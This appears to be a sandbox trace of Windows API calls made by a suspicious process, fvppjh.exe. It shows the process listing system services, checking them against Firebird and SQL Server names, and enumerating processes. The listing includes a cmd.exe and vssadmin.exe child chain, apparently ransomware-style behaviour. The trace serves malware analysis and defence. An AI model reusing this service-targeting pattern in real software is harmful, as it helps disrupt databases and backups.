	[0169.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0169.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0169.752] lstrlenW (lpString="SENS") returned 4
	[0169.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0169.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0169.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0169.752] lstrlenW (lpString="ShellHWDetection") returned 16
	[0169.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0169.752] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0169.753] lstrlenW (lpString="Spooler") returned 7
	[0169.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0169.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0169.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0169.753] lstrlenW (lpString="StateRepository") returned 15
	[0169.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0169.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0169.753] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0169.753] lstrlenW (lpString="SysMain") returned 7
	[0169.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0169.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0169.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0169.753] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0169.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0169.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0169.753] lstrlenW (lpString="Themes") returned 6
	[0169.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0169.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0169.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0169.753] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0169.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.753] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0169.754] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0169.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0169.754] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e0
	[0169.757] Process32FirstW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0169.757] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0169.758] lstrlenW (lpString="System") returned 6
	[0169.758] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0169.758] lstrlenW (lpString="smss.exe") returned 8
	[0169.758] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.759] lstrlenW (lpString="csrss.exe") returned 9
	[0169.759] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0169.759] lstrlenW (lpString="wininit.exe") returned 11
	[0169.759] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.760] lstrlenW (lpString="csrss.exe") returned 9
	[0169.760] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0169.760] lstrlenW (lpString="winlogon.exe") returned 12
	[0169.760] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0169.764] lstrlenW (lpString="services.exe") returned 12
	[0169.764] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0169.765] lstrlenW (lpString="lsass.exe") returned 9
	[0169.765] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.765] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.765] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.765] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.765] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.766] lstrlenW (lpString="svchost.exe") returned 11
	[0169.766] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.766] lstrlenW (lpString="svchost.exe") returned 11
	[0169.766] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0169.767] lstrlenW (lpString="dwm.exe") returned 7
	[0169.767] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.767] lstrlenW (lpString="svchost.exe") returned 11
	[0169.767] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.768] lstrlenW (lpString="svchost.exe") returned 11
	[0169.768] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.768] lstrlenW (lpString="svchost.exe") returned 11
	[0169.768] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.768] lstrlenW (lpString="svchost.exe") returned 11
	[0169.768] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.769] lstrlenW (lpString="svchost.exe") returned 11
	[0169.769] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.769] lstrlenW (lpString="svchost.exe") returned 11
	[0169.769] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.770] lstrlenW (lpString="svchost.exe") returned 11
	[0169.770] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.770] lstrlenW (lpString="svchost.exe") returned 11
	[0169.770] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.771] lstrlenW (lpString="svchost.exe") returned 11
	[0169.771] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.771] lstrlenW (lpString="svchost.exe") returned 11
	[0169.771] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0169.771] lstrlenW (lpString="spoolsv.exe") returned 11
	[0169.772] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.772] lstrlenW (lpString="svchost.exe") returned 11
	[0169.772] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0169.772] lstrlenW (lpString="audiodg.exe") returned 11
	[0169.772] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0169.773] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0169.773] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0169.773] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0169.773] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0169.774] lstrlenW (lpString="Memory Compression") returned 18
	[0169.774] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0169.774] lstrlenW (lpString="sihost.exe") returned 10
	[0169.774] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.775] lstrlenW (lpString="svchost.exe") returned 11
	[0169.775] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.775] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.775] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.775] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.775] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0169.776] lstrlenW (lpString="explorer.exe") returned 12
	[0169.776] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0169.777] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0169.777] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0169.777] lstrlenW (lpString="SearchUI.exe") returned 12
	[0169.777] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0169.778] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0169.778] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0169.778] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0169.778] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0169.778] lstrlenW (lpString="fvppjh.exe") returned 10
	[0169.778] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0169.779] lstrlenW (lpString="cmd.exe") returned 7
	[0169.779] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0169.779] lstrlenW (lpString="conhost.exe") returned 11
	[0169.779] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0169.780] lstrlenW (lpString="consent.exe") returned 11
	[0169.780] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0169.780] lstrlenW (lpString="vssadmin.exe") returned 12
	[0169.780] Process32NextW (in: hSnapshot=0x3e0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0169.781] CloseHandle (hObject=0x3e0) returned 1
	[0169.781] Sleep (dwMilliseconds=0x1f4) 
	[0170.462] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0170.463] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0170.463] GetLastError () returned 0xea
	[0170.463] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0170.463] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0170.464] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0170.464] lstrlenW (lpString="Appinfo") returned 7
	[0170.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0170.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0170.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0170.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0170.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0170.464] lstrlenW (lpString="AppXSvc") returned 7
	[0170.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.464] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0170.464] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0170.465] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0170.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0170.465] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0170.465] lstrlenW (lpString="Audiosrv") returned 8
	[0170.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0170.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0170.465] lstrlenW (lpString="BFE") returned 3
	[0170.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0170.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0170.465] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0170.465] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0170.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0170.465] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0170.465] lstrlenW (lpString="CDPSvc") returned 6
	[0170.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0170.465] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0170.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0170.465] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0170.466] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
